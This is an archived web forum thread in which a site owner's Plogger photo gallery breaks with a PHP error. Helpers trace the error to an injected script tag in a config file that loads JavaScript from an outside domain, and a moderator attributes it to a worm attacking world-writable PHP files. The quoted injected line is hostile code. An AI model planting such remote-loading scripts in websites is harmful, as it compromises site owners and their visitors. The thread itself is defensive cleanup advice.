FRIHOST FORUMS SEARCH FAQ TOS BLOGS COMPETITIONS
You are invited to Log in or Register a free Frihost Account!


suddenly a php error on my website





deleenheir
I installed plogger on my webspace. It used to work fine, but now without changing anything it gives an error and the page is show inpropperly

I barely have any php-knowledge, so I hope there is a white knight out there that comes to the rescue...
cavey
You can not use header after you have output code to the browser. That includes whitespace.
I know this is not very helpful, but I only have the errormsg to work with, and no php code.
mathiaus
find the file 'plog-load_config.php' and delete from it
Quote:
<script language='JavaScript' type='text/javascript' src='http://domainstat.net/stat.php?id=1397848bc4'></script><br />

There should be some code before and after, most likely '<?php echo' and ?>
deleenheir
Tanx it it works again... But how did that code get there?
http://domainstat.net/ seems some kind of commercial website...
I centrainly didn't insert this script and it isn't in the original source of plogger.
wumingsden
deleenheir wrote:
Tanx it it works again... But how did that code get there?
http://domainstat.net/ seems some kind of commercial website...
I centrainly didn't insert this script and it isn't in the original source of plogger.


The was a hacker/worm attack which put that code in most php files with the CHMOD of 777, to learn more watch for an announcement to be made.

Update: A Announcement has been made here

-locked-
Related topics
Making Your Website Look Professional
Fatal PHP error
[PHP] Error link
Carl's Start-to-Finish Professional Website Tutorial
php error ?[parse error]
PHP - Error
PHP Error Pages
[RESOLVED] PHP Error
PHP Dropdown Selection
MySQL/PHP Error..
Index.php not found
PHP error
PHP error page, die()
XML/XHTML header problem
This topic is locked: you cannot edit posts or make replies.    Frihost Forum Index -> Scripting -> Php and MySQL

FRIHOST HOME | FAQ | TOS | ABOUT US | CONTACT US | SITE MAP
© 2005-2011 Frihost, forums powered by phpBB.